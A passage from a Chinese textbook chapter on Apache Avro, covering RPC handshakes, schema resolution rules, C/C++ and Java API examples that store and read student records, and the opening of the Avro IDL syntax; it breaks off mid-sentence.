serverHash！=null。如果服务器事前知道客户机的协议，而客户机却发送了一个错误的服务器协议哈希值，那么请求是完整的并且响应数据加在HandshakeResponse之后。之后客户机必须使用返回的协议来处理响应，并且在高速缓存中保留这个协议和与服务器通信的哈希值。\n3）match=NONE。如果服务器事先不知道客户机的协议，且服务器的协议哈希值是错误的，则serverHash和serverProtocol的值可能也为non-null。在这种情况下，客户机必须使用其协议文本（clientHash！=null, clientProtocol！=null, serverHash！=null）重新提交它的请求，并且服务器应该以正确的方式响应（match=BOTH, serverProtocol=null, serverHash=null）。另外meta字段是保留字段，用于以后增加握手的功能。\n一次调用包括请求消息和与之对应的结果响应或错误消息。请求和响应包含可扩展的元数据，两种消息都会如上进行框架处理。调用请求的格式包括以下几种：\n1）请求元数据，即类型值的映射。\n2）消息名称，即一个Avro字符串。\n3）消息参数，根据消息请求声明对参数进行序列化。\n当消息声明为单向的并通过成功握手响应建立有状态的连接，那么不需要发送响应数据。否则需要发送，发送的调用请求的格式如下：\n1）响应元数据，即类型字节的映射。\n2）单字节的错误标志布尔值，然后，如果错误标志为假，消息响应，序列化每个消息响应模式。\n如果错误标志为真，即为错误，序列化每个消息有效错误联合模式。\n[1]\n 存放字节顺序的方法，大端方式将高位存放在低地址，小端方式将高位存放在高地址。\n16.1.7 模式解析\n无论从RPC还是从文件中获得Avro数据，由于模式已知，读者都可以解析数据，但是那个模式可能并不完全是所期望的模式。例如，如果数据写入的软件版本与读者不同，那么记录中的一些字段可能会增加或减少，这一部分将详述如何解决这种模式区别。\n我们称用来写数据的模式为写者的模式，应用程序期望的模式为读者的模式。两个模式之间是否匹配可按照下面的规则进行判断。\n1）如果两个模式符合以下情况之一则为匹配，否则为不匹配，并产生错误：\n模式都是数组且项类型匹配。\n模式都是映射且值类型匹配。\n模式都是枚举且名称匹配。\n模式都是固定型且大小和名称匹配。\n模式都是记录且名称相同。\n模式是其中之一为联合。\n两个模式拥有相同的原始类型。\n写者的模式可以提升为读者的模式，如下所示：\n·int可以转化为long、float或者double；\n·long可以转化为float或double；\n·float可以转化为double。\n2）如果两个都是记录，则：\n字段的顺序可以不同，因为字段是通过名称来匹配的。\n有相同名称字段的模式记录是递归解析的。\n如果写者的记录中包含读者记录中没有的字段，那么写者字段的值将被忽略。\n如果读者记录模式中有一个为默认值的字段，并且写者的模式中没有相同名称的字段，那么读者的这个字段应该使用默认值。\n如果读者记录模式中有一个没有默认值的字段，并且写者的模式中没有相同名称的字段，那么将发出错误信号。\n3）如果两个都是枚举，且写者的符号并不在读者的枚举中，那么产生错误。\n4）如果两个都是数组，解析算法递归应用于读者和写者的数组项的模式。\n5）如果两个都是映射，解析算法递归应用于读者和写者映射值的模式。\n6）如果两个都是联合，对读者联合中匹配写者联合模式的第一个模式进行递归解析，如果没有匹配的，将产生错误。\n7）如果读者为联合，而写者的不是，对读者联合中匹配所选写者模式的第一个模式进行递归解析，如果没有匹配的，将产生错误。\n8）如果写者的是联合，读者的不是，且读者的模式匹配所选写者的模式，那么对它进行递归解析，如果它们不匹配，将产生错误。\n模式解析时将忽略模式中协议说明的\"doc\"字段，因此，序列化时模式中的\"doc\"部分将被抛弃。\n16.2 Avro的C/C++实现\n本节主要介绍Avro的C/C++实现，其中在Avro C库中已经嵌入Jansson（Jansson为编译和操控JSON数据的C语言库），这样可以将JSON解析成模式结构。目前C/C++实现支持：所有原始和复杂数据类型的二进制编码和解码；向Avro对象容器文件进行存储；模式解析、提升和映射；写入Avro数据的有效方式和无效方式，但C语言接口暂不支持远程过程调用RPC。\nAvro C为所有模式和数据对象进行引用计数，当引用数降为零时便释放内存。例如，创建和释放一个字符串：\navro_datum_t string=avro_string（\"This is my string\"）；\n……\navro_datum_decref（string）；\n当考虑创建更加详细的模式和数据结构时就会有一点复杂，例如，创建带有字符串字段的记录：\navro_datum_t example=avro_record（\"Example\"）；\navro_datum_t solo_field=avro_string（\"Example field value\"）；\navro_record_set（example，\"solo\"，solo_field）；\n……\navro_datum_decref（example）；\n在这个例子中，solo_field数据没有被释放，因为它有两个引用：原来的引用和隐藏在记录Example中的引用。调用avro_datum_decref（example）只能将引用数减少为一。如果想结束solo_field模式，则需要avro_datum_decref（solo_field）来完全删除solo_field数据并释放。\n一些数据类型是可以“包装”和“给予”的，这可以让C程序员自由地决定谁负责内存的分配回收。以字符串为例，建立一个字符串数据有三种方式：\navro_datum_t avro_string（const char*str）；\navro_datum_t avro_wrapstring（const char*str）；\navro_datum_t avro_givestring（const char*str）；\n如果使用avro_string，那么Avro C会复制字符串并且当不再引用时释放它。在有些情况下，特别是当处理大量数据时要避免这种内存复制，这时需要使用avro_wrapstring和avro_givestring。如果使用avro_wrapstring，那么Avro C不做任何内存处理，它只保存指向数据的指针，这时需要自己来释放字符串。需要注意的是，当使用avro_wrapstring时，在用avro_datum_decref（）取消引用数据前不要释放字符串。如果使用avro_givestring，那么Avro C在数据取消引用之后会释放字符串，从某种程度上说，avro_givestring将释放字符串的“责任”给了Avro C。需要注意的是，如果没有使用如malloc或strdup分配堆给字符串，则不要把“责任”给Avro C。例如，不能这样做：\navro_datum_t bad_idea=avro_givestring（\"This isn't allocated on the heap\"）；\n写入数据时可以使用下面的函数：\nint avro_write_data（avro_writer_t writer，\navro_schema_t writers_schema, avro_datum_t datum）；\n如果省略writers_schema值，那么数据在发送给写数据的函数前必须检验数据格式的正确性。如果已经确定数据是正确的，那么可以设置writers_schema为NULL，这时Avro C不会检查格式。需要注意的是，写入Avro文件对象容器的数据总是要进行验证。\n下面介绍一个简单例子，例子中建立了学生信息的数据库，并向数据库中读写记录：\n/*student.c*/\n#include＜avro.h＞\n#include＜inttypes.h＞\n#include＜stdio.h＞\n#include＜stdlib.h＞\n#include＜unistd.h＞\navro_schema_t student_schema；\n/*id用于添加记录时为学生建立学号*/\nint64_t id=0；\n/*定义学生模式，拥有字段学号、姓名、学院、电话和年龄*/\n#define STUDENT_SCHEMA\\\n\"{\\\"type\\\"：\\\"record\\\"，\\\n\\\"name\\\"：\\\"Student\\\"，\\\n\\\"fields\\\"：[\\\n{\\\"name\\\"：\\\"SID\\\"，\\\"type\\\"：\\\"long\\\"}，\\\n{\\\"name\\\"：\\\"Name\\\"，\\\"type\\\"：\\\"string\\\"}，\\\n{\\\"name\\\"：\\\"Dept\\\"，\\\"type\\\"：\\\"string\\\"}，\\\n{\\\"name\\\"：\\\"Phone\\\"，\\\"type\\\"：\\\"string\\\"}，\\\n{\\\"name\\\"：\\\"Age\\\"，\\\"type\\\"：\\\"int\\\"}]}\"\n/*把JSON定义的模式解析成模式的数据结构*/\nvoid init（void）\n{\navro_schema_error_t error；\nif（avro_schema_from_json（STUDENT_SCHEMA，\nsizeof（STUDENT_SCHEMA），\n＆student_schema，＆error））{\nfprintf（stderr，\"Failed to parse student schema\\n\"）；\nexit（EXIT_FAILURE）；\n}\n}\n/*添加学生记录*/\nvoid add_student（avro_file_writer_t db, const char*name, const char*dept, const\nchar*phone, int32_t age）\n{\navro_datum_t student=avro_record（\"Student\"，NULL）；\navro_datum_t sid_datum=avro_int64（++id）；\navro_datum_t name_datum=avro_string（name）；\navro_datum_t dept_datum=avro_string（dept）；\navro_datum_t age_datum=avro_int32（age）；\navro_datum_t phone_datum=avro_string（phone）；\n/*创建学生记录*/\nif（avro_record_set（student，\"SID\"，sid_datum）\n||avro_record_set（student，\"Name\"，name_datum）\n||avro_record_set（student，\"Dept\"，dept_datum）\n||avro_record_set（student，\"Age\"，age_datum）\n||avro_record_set（student，\"Phone\"，phone_datum））{\nfprintf（stderr，\"Failed to create student datum structure\"）；\nexit（EXIT_FAILURE）；\n}\n/*将记录添加到数据库文件中*/\nif（avro_file_writer_append（db, student））{\nfprintf（stderr，\"Failed to add student datum to database\"）；\nexit（EXIT_FAILURE）；\n}\n/*解除引用，释放内存空间*/\navro_datum_decref（sid_datum）；\navro_datum_decref（name_datum）；\navro_datum_decref（dept_datum）；\navro_datum_decref（age_datum）；\navro_datum_decref（phone_datum）；\navro_datum_decref（student）；\nfprintf（stdout，\"Successfully added%s\\n\"，name）；\n}\n/*输出数据库中的学生信息*/\nint show_student（avro_file_reader_t db，\navro_schema_t reader_schema）\n{\nint rval；\navro_datum_t student；\nrval=avro_file_reader_read（db, reader_schema，＆student）；\nif（rval==0）{\nint64_t i64；\nint32_t i32；\nchar*p；\navro_datum_t sid_datum, name_datum, dept_datum，\nphone_datum, age_datum；\nif（avro_record_get（student，\"SID\"，＆sid_datum）==0）{\navro_int64_get（sid_datum，＆i64）；\nfprintf（stdout，\"%\"PRId64\"\"，i64）；\n}\nif（avro_record_get（student，\"Name\"，＆name_datum）==0）{\navro_string_get（name_datum，＆p）；\nfprintf（stdout，\"%12s\"，p）；\n}\nif（avro_record_get（student，\"Dept\"，＆dept_datum）==0）{\navro_string_get（dept_datum，＆p）；\nfprintf（stdout，\"%12s\"，p）；\n}\nif（avro_record_get（student，\"Phone\"，＆phone_datum）==0）{\navro_string_get（phone_datum，＆p）；\nfprintf（stdout，\"%12s\"，p）；\n}\nif（avro_record_get（student，\"Age\"，＆age_datum）==0）{\navro_int32_get（age_datum，＆i32）；\nfprintf（stdout，\"%d\"，i32）；\n}\nfprintf（stdout，\"\\n\"）；\n/*释放记录*/\navro_datum_decref（student）；\n}\nreturn rval；\n}\nint main（void）\n{\nint rval；\navro_file_reader_t dbreader；\navro_file_writer_t db；\navro_schema_t extraction_schema, name_schema，\nphone_schema；\nint64_t i；\nconst char*dbname=\"student.db\"；\ninit（）；\n/*如果student.db存在，则删除*/\nunlink（dbname）；\n/*创建数据库文件*/\nrval=avro_file_writer_create（dbname, student_schema，＆db）；\nif（rval）{\nfprintf（stderr，\"Failed to create%s\\n\"，dbname）；\nexit（EXIT_FAILURE）；\n}\n/*向数据库文件中添加学生信息*/\nadd_student（db，\"Zhanghua\"，\"Law\"，\"15201161111\"，25）；\nadd_student（db，\"Lili\"，\"Economy\"，\"15201162222\"，24）；\nadd_student（db，\"Wangyu\"，\"Information\"，\"15201163333\"，25）；\nadd_student（db，\"Zhaoxin\"，\"Art\"，\"15201164444\"，23）；\nadd_student（db，\"Sunqin\"，\"Physics\"，\"15201165555\"，25）；\nadd_student（db，\"Zhouping\"，\"Math\"，\"15201166666\"，23）；\navro_file_writer_close（db）；\nfprintf（stdout，\"\\nPrint all the records from database\\n\"）；\n/*读取并输出所有的学生信息*/\navro_file_reader（dbname，＆dbreader）；\nfor（i=0；i＜id；i++）{\nif（show_student（dbreader, NULL））{\nfprintf（stderr，\"Error printing student\\n\"）；\nexit（EXIT_FAILURE）；\n}\n}\navro_file_reader_close（dbreader）；\n/*输出学生的姓名和电话信息*/\nextraction_schema=avro_schema_record（\"Student\"，NULL）；\nname_schema=avro_schema_string（）；\nphone_schema=avro_schema_string（）；\navro_schema_record_field_append（extraction_schema，\n\"Name\"，name_schema）；\navro_schema_record_field_append（extraction_schema，\"Phone\"，phone_schema）；\n/*只读取每个学生的姓名和电话*/\nfprintf（stdout，\n\"\\n\\nExtract Name＆Phone of the records from database\\n\"）；\navro_file_reader（dbname，＆dbreader）；\nfor（i=0；i＜id；i++）{\nif（show_student（dbreader, extraction_schema））{\nfprintf（stderr，\"Error printing student\\n\"）；\nexit（EXIT_FAILURE）；\n}\n}\navro_file_reader_close（dbreader）；\navro_schema_decref（name_schema）；\navro_schema_decref（phone_schema）；\navro_schema_decref（extraction_schema）；\n/*最后释放学生模式*/\navro_schema_decref（student_schema）；\nreturn 0；\n}\n如果要编译上面的C文件，则需要安装Avro C。首先可以从网站http：//www.apache.org/dyn/closer.cgi/avro/选择镜像下载avro-c-1.6.3.tar.gz文件，使用命令tar-zxvf avro-c-1.6.3.tar.gz解压后进入其目录，并使用命令./configure和make、make install进行编译安装。注意，需要在root的权限下进行安装。安装成功后，在编译C语言前需要将libavro加入动态链接库中，使用命令：\nexport LD_LIBRARY_PATH=/usr/local/lib：$LD_LIBRARY_PATH\n然后对程序进行编译：\ngcc-o student-lavro student.c\n运行生成的执行文件可得到如图16-5所示的结果。运行时在当前目录下生成student.db对象容器文件，可以使用命令cat查看文件中的内容—先存储学生的模式，然后存储学生的记录信息，具体内容可参见16.1.4节“对象容器文件”和图16-3。\n图 16-5 运行结果\n下面介绍Avro的C++应用程序接口。虽然Avro并不需要使用代码生成器，但是使用代码生成工具可以更简单地使用Avro C++库。代码生成器既可以读取模式并输出模式数据的C++对象，也可以产生代码来序列化或反序列化对象等所有复杂的译码工作。即使使用C++核心库来编写序列化器或者解析器，产生的代码也可以说明如何使用这些库。下面举一个使用模式的简单例子，此例用来表示一个虚数：\n{\n\"type\"：\"record\"，\n\"name\"：\"complex\"，\n\"fields\"：[\n{\"name\"：\"real\"，\"type\"：\"double\"}，\n{\"name\"：\"imaginary\"，\"type\"：\"double\"}\n]\n}\n假设JSON可用来表示存储在名为imaginary文件中的模式，那么产生代码分成两步：\n第一步：\nprecompile＜imaginary＞imaginary.flat\n预编译会将模式转化为代码生成器所使用的中间格式，中间文件是模式的文本形式，它是通过对模式类型树深度优先遍历得到的。\n第二步：\npython scripts/gen-cppcode.py--input=example.flat--output=example.hh--namespace=Math\n上面的命令告诉代码生成器去读取模式作为输入，并且在example.hh中生成C++头文件。可选参数将指定对象放置的命名空间，如果没有指定命名空间，仍可得到默认的命名空间。下面是所产生代码的开始部分：\nnamespace Math{\nstruct complex{\ncomplex（）：\nreal（），\nimaginary（）\n{}\ndouble real；\ndouble imaginary；\n}；\n以上代码是用C++表示的模式，它创建记录、默认构造函数并为记录的每个字段建立成员。下面是序列化数据的例子：\nvoid serializeMyData（）\n{\nMath：complex c；\nc.real=10.0；\nc.imaginary=20.0；\n//writer是实际I/O和缓冲结果的对象\navro：Writer writer；\n//在对象上调用writer\navro：serialize（writer, c）；\n//这时，writer将序列化后的数据存储在缓冲区中\nInputBuffer buffer=writer.buffer（）；\n}\n使用生成的代码，调用对象的avro：serialize（）函数可以序列化数据，通过调用avro：InputBuffer对象可以获取数据，通过网络可以发送文件。下面读取序列化的数据到对象中：\nvoid parseMyData（const avro：InputBuffer＆myData）\n{\nMath：complex c；\n//reader为实际I/O读取的对象\navro：Reader reader（myData）；\n//在对象上调用reader\navro：parse（reader, c）；\n//此时，C中存放的是反序列化后的数据\n}\n在下面的代码中avro：serialize（）函数和avro：parse（）函数可用于处理用户数据类型，具体实现如下：\ntemplate＜typename Serializer＞\ninline void serialize（Serializer＆s, const complex＆val, const boost：true_type＆）\n{\ns.writeRecord（）；\nserialize（s, val.real）；\nserialize（s, val.imaginary）；\ns.writeRecordEnd（）；\n}\ntemplate＜typename Parser＞\ninline void parse（Parser＆p, complex＆val, const boost：true_type＆）{\np.readRecord（）；\nparse（p, val.real）；\nparse（p, val.imaginary）；\np.readRecordEnd（）；\n}\n以下内容也可加入avro命名空间中：\ntemplate＜＞struct is_serializable＜Math：complex＞：public boost：true_type{}；\n这样为复杂结构建立类型特征，告诉Avro对象的序列化和解析功能可用。\n除了上面介绍的使用Avro C++代码生成器来读写对象外，Avro C++也可以读入JSON模式。库函数提供了一些工具来读取存储在JSON文件或字符串中的模式，如下所示：\nvoid readSchema（）\n{\n//My schema is stored in a file called\"example\"\nstd：ifstream in（\"example\"）；\navro：ValidSchema mySchema；\navro：compileJsonSchema（in, mySchema）；\n}\n上面代码读取文件并将JSON模式解析成avro：ValidSchema类型的对象。如果模式是无效的，将无法建立有效模式（ValidSchema）对象并抛出异常，那么如何从JSON存储的模式中建立有效模式对象呢？\n有效模式（ValidSchema）可以保证开发者实际写入的类型匹配模式所期望的类型。现在重写序列化函数并需要检查模式：\nvoid serializeMyData（const ValidSchema＆mySchema）\n{\nMath：complex c；\nc.real=10.0；\nc.imaginary=20.0；\n//ValidatingWriter保证序列化写入正确类型的数据\navro：ValidatingWriter writer（mySchema）；\ntry{\navro：serialize（writer, c）；\n//这时，ostringstream\"os\"存储序列化后的数据\n}\ncatch（avro：Exception＆e）{\nstd：cerr＜＜\"ValidatingWriter encountered an error：\"＜＜e.what（）；\n}\n}\n这段代码和前面的区别就是用ValidatingWriter代替了Writer object。如果序列化函数错误地写入不匹配模式的类型，那么ValidatingWriter将抛出异常。ValidatingWriter会在写入数据的时候增加很多处理过程。对于产生的代码则没有必要进行验证，因为自动生成的代码是匹配模式的。然而，在写入和测试自己序列化的代码时加上安全验证还是必要的。解析数据时也可以使用有效模式，它不仅可以确保解析器读取的类型匹配模式有效，还提供了接口，通过该接口可以查询下一个期望的类型和记录成员字段的名称。下面的例子介绍了如何使用API：\nvoid parseMyData（const avro：InputBuffer＆myData, const avro：ValidSchema＆mySchema）\n{\n//手动解析数据，解析对象将数据绑定到模式上\navro：Parser＜ValidatingReader＞parser（mySchema, myData）；\nassert（nextType（parser）==avro：AVRO_RECORD）；\n//开始解析\nparser.readRecord（）；\nMath：complex c；\nstd：string recordName；\nassert（currentRecordName（parser, recordName）==true）；\nassert（recordName==\"complex\"）；\nstd：string fieldName；\nfor（int i=0；i＜2；++i）{\nassert（nextType（parser）==avro：AVRO_DOUBLE）；\nassert（nextFieldName（parser, fieldName）==true）；\nif（fieldName==\"real\"）{\nc.real=parser.readDouble（）；\n}\nelse if（fieldName==\"imaginary\"）{\nc.imaginary=parser.readDouble（）；\n}\nelse{\nstd：cout＜＜\"I did not expect that！\\n\"；\n}\n}\nparser.readRecordEnd（）；\n}\n上面的代码表明，如果编译时不知道模式，也可以通过写出解析数据的代码在运行时读取模式，并且查询ValidatingReader来了解序列化数据的内容。\n在自己的代码中使用对象来建立模式是允许的，每个原始类型和复合类型都有模式对象，并且它们拥有共同的Schema基类。下面是一个为复数记录数组建立模式的例子：\nvoid createMySchema（）\n{\n//首先建立复数类型\navro：RecordSchema myRecord（\"complex\"）；\n//在记录中加入字段（每个字段又是一个模式）\nmyRecord.addField（\"real\"，avro：DoubleSchema（））；\nmyRecord.addField（\"imaginary\"，avro：DoubleSchema（））；\n//这个复数记录和之前使用的一样，下面为这些记录的数组建立模式\navro：ArraySchema complexArray（myRecord）；\n//如果模式是无效的将抛出\navro：ValidSchema validComplexArray（complexArray）；\n//这样建立好了模式\n//输出到屏幕上\nvalidComplexArray.toJson（std：cout）；\n}\n以上代码建立的模式可能是无效的，因此，为了使用模式，需要将它转化为ValidSchma对象。执行上述代码可以得到：\n{\n\"type\"：\"array\"，\n\"items\"：{\n\"type\"：\"record\"，\n\"name\"：\"complex\"，\n\"fields\"：[\n{\n\"name\"：\"real\"，\n\"type\"：\"double\"\n}，\n{\n\"name\"：\"imaginary\"，\n\"type\"：\"double\"\n}\n]\n}\n}\n随着时间的变化，程序模式期望的数据可能与之前存储的数据不同，为了把一个模式转化为另一个模式，Avro提供了不完全一样的模式规则。这种情况下，代码生成工具就有用了，对于每个生成的结构都会建立一个用来读取数据的特别索引结构，即使数据是用不同的模式写的。在example.hh中的索引结构如下：\nclass complex_Layout：public avro：CompoundOffset{\npublic：\ncomplex_Layout（size_t offset）：\nCompoundOffset（offset）\n{\nadd（new avro：Offset（offset+offsetof（complex, real）））；\nadd（new avro：Offset（offset+offsetof（complex, imaginary）））；\n}\n}；\n数据前若是float类型而不是double类型，根据模式解决规则，floats可以升级为doubles，只要新旧模式都有用，就会建立一个动态的解析器来读取代码生成结构的数据。如下所示：\nvoid dynamicParse（const avro：ValidSchema＆writerSchema，\nconst avro：ValidSchema＆readerSchema）{\n//实例化布局对象\nMath：complex_Layout layout；\n//创建已知类型布局和模式的模式解析器\nresolverSchema（writerSchema, readerSchema, layout）；\n//设置reader\navro：ResolvingReader reader（resolverSchema, data）；\nMath：complex c；\n//执行解析\navro：parse（reader, c）；\n//这时，c中存放的是反序列化后的数据\n}\n16.3 Avro的Java实现\n本节主要介绍Avro在Java中的实现。Java API现在的版本是1.6.3，其中主要的包有如下几个。\norg. apache.avro：Avro内核类。\norg. apache.avro.file：存放Avro数据的文件容器相关类。\norg. apache.avro.generic：Avro数据的一般表示类。\norg. apache.avro.io：Avro输入/输出工具类。\norg. apache.avro.io.parsing：Avro格式的LL（1）语法实现。\norg. apache.avro.ipc：进程间调用支持类。\norg. apache.avro.ipc.stats：收集和显示IPC统计数据的工具类。\norg. apache.avro.ipc.trace：追踪RPC递归调用的相关类。\norg. apache.avro.mapred：使用Avro数据运行Hadoop MapReduce，其Map和Reduce功能用Java实现。\norg. apache.avro.mapred.tether：使用Avro数据运行Hadoop MapReduce，其Map和Reduce功能在子进程运行。\norg. apache.avro..reflect：使用Java映射为存在的类生成格式和协议。\norg. apache.avro.specific：为格式和协议生成特定的Java类。\norg. apache.avro.tool：Avro命令行工具类。\norg. apache.avro.util：普通工具类。\n关于上面各包中包含的类的具体使用可参见Java API，下面通过简单的例子介绍各类的用法。下面是用Java实现学生信息的存储和读取：\npackage cn.edu.ruc.cloudcomputing.book.chapter16；\n/*student.java*/\nimport java.io.File；\nimport java.io.IOException；\nimport org.apache.avro.Schema；\nimport org.apache.avro.file.DataFileReader；\nimport org.apache.avro.file.DataFileWriter；\nimport org.apache.avro.generic.GenericData；\nimport org.apache.avro.generic.GenericDatumReader；\nimport org.apache.avro.generic.GenericDatumWriter；\nimport org.apache.avro.generic.GenericData.Record；\nimport org.apache.avro.util.Utf8；\npublic class student{\nString fileName=\"student.db\"；\nString prefix=\"{\\\"type\\\"：\\\"record\\\"，\\\"name\\\"：\\\"Student\\\"，\\\"fields\\\"：[\"；\nString suffix=\"]}\"；\nString fieldSID=\"{\\\"name\\\"：\\\"SID\\\"，\\\"type\\\"：\\\"int\\\"}\"；\nString fieldName=\"{\\\"name\\\"：\\\"Name\\\"，\\\"type\\\"：\\\"string\\\"}\"；\nString fieldDept=\"{\\\"name\\\"：\\\"Dept\\\"，\\\"type\\\"：\\\"string\\\"}\"；\nString fieldPhone=\"{\\\"name\\\"：\\\"Phone\\\"，\\\"type\\\"：\\\"string\\\"}\"；\nString fieldAge=\"{\\\"name\\\"：\\\"Age\\\"，\\\"type\\\"：\\\"int\\\"}\"；\nSchema studentSchema=Schema.parse（prefix+fieldSID+\"，\"+fieldName+\"，\"+\nfieldDept+\"，\"+fieldPhone+\"，\"+fieldAge+suffix）；\nSchema extractSchema=Schema.parse（prefix+fieldName+\"，\"+fieldPhone+suffix）；\nint SID=0；\npublic static void main（String[]args）throws IOException{\nstudent st=new student（）；\nst.init（）；\nst.print（）；\nst.printExtraction（）；\n}\n/**\n*初始化添加学生记录\n**/\npublic void init（）throws IOException{\nDataFileWriter＜Record＞writer=new DataFileWriter＜Record＞（\nnew GenericDatumWriter＜Record＞（studentSchema））.create（\nstudentSchema, new File（fileName））；\ntry{\nwriter.append（createStudent（\"Zhanghua\"，\"Law\"，\"15201161111\"，25））；\nwriter.append（createStudent（\"Lili\"，\"Economy\"，\"15201162222\"，24））；\nwriter.append（createStudent（\"Wangyu\"，\"Information\"，\n\"15201163333\"，25））；\nwriter.append（createStudent（\"Zhaoxin\"，\"Art\"，\"15201164444\"，23））；\nwriter.append（createStudent（\"Sunqin\"，\"Physics\"，\"15201165555\"，25））；\nwriter.append（createStudent（\"Zhouping\"，\"Math\"，\"15201166666\"，23））；\n}finally{\nwriter.close（）；\n}\n}\n/**\n*将学生信息添加到记录中\n**/\nprivate Record createStudent（String name, String dept, String phone, int age）{\nRecord student=new GenericData.Record（studentSchema）；\nstudent.put（\"SID\"，（++SID））；\nstudent.put（\"Name\"，new Utf8（name））；\nstudent.put（\"Dept\"，new Utf8（dept））；\nstudent.put（\"Phone\"，new Utf8（phone））；\nstudent.put（\"Age\"，age）；\nSystem.out.println（\"Successfully added\"+name）；\nreturn student；\n}\n/**\n*输出学生信息\n**/\npublic void print（）throws IOException{\nGenericDatumReader＜Record＞dr=new GenericDatumReader＜Record＞（）；\ndr.setExpected（studentSchema）；\nDataFileReader＜Record＞reader=new DataFileReader＜Record＞（new\nFile（fileName），dr）；\nSystem.out.println（\"\\nprint all the records from database\"）；\ntry{\nwhile（reader.hasNext（））{\nRecord student=reader.next（）；\nSystem.out.println（student.get（\"SID\"）.toString（）+\"\"+student.\nget（\"Name\"）+\"\"+student.get（\"Dept\"）+\"\"+student.get（\"Phone\"）+\"\n\"+student.get（\"Age\"）.toString（））；\n}\n}finally{\nreader.close（）；\n}\n}\n/**\n*输出学生姓名和电话\n**/\npublic void printExtraction（）throws IOException{\nGenericDatumReader＜Record＞dr=new GenericDatumReader＜Record＞（）；\ndr.setExpected（extractSchema）；\nDataFileReader＜Record＞reader=new DataFileReader＜Record＞（new\nFile（fileName），dr）；\nSystem.out.println（\"\\nExtract Name＆Phone of the records from database\"）；\ntry{\nwhile（reader.hasNext（））{\nRecord student=reader.next（）；\nSystem.out.println（student.get（\"Name\"）.toString（）+\"\"+student.\nget（\"Phone\"）.toString（）+\"\\t\"）；\n}\n}finally{\nreader.close（）；\n}\n}\n}\n编译student.java不仅需要从网站http：//www.apache.org/dyn/closer.cgi/avro/下载avro-1.6.3.jar等相关类，还需要从网站http：//wiki.fasterxml.com/JacksonDownload下载jackson-core-asl-1.9.7.jar和jackson-mapper-asl-1.9.7.jar这些Java中JSON生成的解析相关类。编译后运行文件的结果如图16-6所示，同时生成student.db文件，可以通过查看该文件中的内容来了解对象容器文件的格式。\n图 16-6 编译运行student文件\n16.4 GenAvro（Avro IDL）语言\n为了让开发者在声明模式时使用一种与诸如Java、C++、Python等普通编程语言相似的方法，Avro提供了GenAvro语言。GenAvro是声明Avro模式的高级语言（最新版本中称为Avro IDL），虽然它目前还没有完全确定下来，但不会有主要的变化。之前在其他构架如Thrift、Protocol、CORBA中使用过接口描述语言（IDL）的开发者可能会对Avro IDL语言有亲切感。\n每个Avro IDL文件定义了单一的Avro协议，并产生一个JSON格式的Avro协议文件，其扩展名为.avpr。为了使Avro IDL（新版本中为.avdl）文件转化为.avpr文件，必须使用IDL工具进行处理，例如：\n$java-jar avroj-tools.jar idl src/test/idl/input/namespaces.avdl/tmp/namespaces.avpr\n$head/tmp/namespaces.avpr\n{\n\"protocol\"：\"TestNamespace\"，\n\"namespace\"：\"avro.test.protocol\"，\n……\n这个IDL工具也可以处理从stdin输入的数据或输出到stdout的数据，更多的信息可以用idl--help命令查询。一个Avro IDL文件只包含一个协议定义，较小的协议可由以下代码定义：\nprotocol MyProtocol{\n}\n这相当于以下的JSON协议定义：\n{\n\"protocol\"：\"MyProtocol\"，\n\"types\"：[]，\n\"messages\"：{\n}\n}\n使用@namespace注解后，协议的命名空间可能会改变，代码如下：\n@namespace（\"mynamespace\"）\nprotocol MyProtocol{\n}\n在Avro IDL中，可以通过使用@namespace为所注解的元素指定属性。Avro IDL中的协议包含以下项目：\n指定模式的定义，包括记录、错误、枚举和固定型。\nRPC消息的定义。\n外部协议和模式文件的引用。\n引入文件可以用以下三种方式之一：\n引入IDL文件使用语句import idl“foo.avdl”。\n引入JSON协议文件使用语句import protocol“foo.avpr”。\n引入JSON模式文件使用语句import schema“foo.avsc”。\n下面介绍各种类型的定义方法。\n1）定义枚举。在Avro IDL中使用类似于C或Java的语法来定义枚举，代码如下：\nenum Suit{\nSPADES, DIAMONDS, CLUBS, HEARTS\n}\n需要注意的是，不像JSON格式，在Avro IDL中匿名的枚举是无法定义的。\n2）定义固定长度的字段。定义一个固定长度的字段可以使用以下语法：\nfixed MD5（16）；\n该例子定义了一个包含16字节名称为MD5的固定长度类型。\n3）定义记录和错误。在Avro IDL中定义记录的语法类似于C中的结构体定义，代码如下：\nrecord Employee{\nstring name；\nboolean active；\nlong salary；\n}\n以上例子定义了一个带有三个字段称为“Employee”的记录，错误类型的定义只需要将record改为error就可以了，代码如下：\nerror Kaboom{\nstring explanation；\nint result_code；\n}\n记录和错误中的字段包括类型和名称，也可以有属性注解。Avro IDL语言中引用的类型必须为以下之一：\n原始类型；\n已命名的模式，该模式在同一协议中且使用前已经定义；\n复杂类型（数据、映射或者联合）。\n下面分别介绍它们。\n1）Avro IDL支持的原始类型与Avro的JSON格式支持的类型一样，包括int、long、string、boolean、float、double、null和bytes。\n2）如果相同的Avro IDL文件中已经定义了指定的模式且为原始类型，那么可以通过名称直接引用，代码如下：\nrecord Card{\nSuit suit；//引用之前定义的枚举类型Card\nint number；\n}\n3）复杂类型。数组类型的定义方法与C++或Java中的定义方式类似。任何类型t的数组写为array＜t＞。例如，字符串的数组写为array＜string＞，记录Foo的多维数组写为array＜array＜Foo＞＞。映射类型和数组类型相似，包含类型t的数组写为map＜t＞，和JSON模式格式一样，所有的映射包含string类型的键。联合类型写为union{typeA, typeB, typeC，……}，例如，下面这个记录包含可选的字符串字段：\nrecord RecordWithUnion{\nunion{null, string}optionalString；\n}\n需要注意的是，Avro IDL中联合的限制与JSON格式的一样，即记录不能包含相同类型的多种元素。\n使用Avro IDL协议定义RPC消息的语法与C语言头文件或Java接口的方法声明相似。例如带有参数foo和bar且返回int值的RPC消息定义为：\nint add（int foo, int bar）；\n定义一个没有返回值的消息可以使用别名void，相当于Avro的null类型，如下所示：\nvoid logMessage（string message）；\n如果在相同的协议之前已经定义了一个错误类型，那么可以使用下面语法声明消息抛出这个错误：\nvoid goKaboom（）throws Kaboom；\n如果定义一个one-way的消息，只需在参数后面使用关键字oneway，代码如下：\nvoid fireAndForget（string message）oneway；\n最后介绍其他的Avro IDL语言特征。\n（1）注释\nAvro IDL语言支持所有的Java类型注释。每行//后面的内容将被忽略，用/*和*/可以注释多行内容。\n（2）区别标识\n当语言需要保留字来作为标识时，需要用符号“”来区别标识。例如，定义一个带有名称error的消息：\nvoiderror（）；\n这个语法可以使用在任何有标识的地方。\n（3）排序和命名空间的注释\n在Avro IDL中Java风格的注释可以用来给类型增加额外的属性。例如，指定记录中字段的排序顺序可以使用@order，如下所示：\nrecord 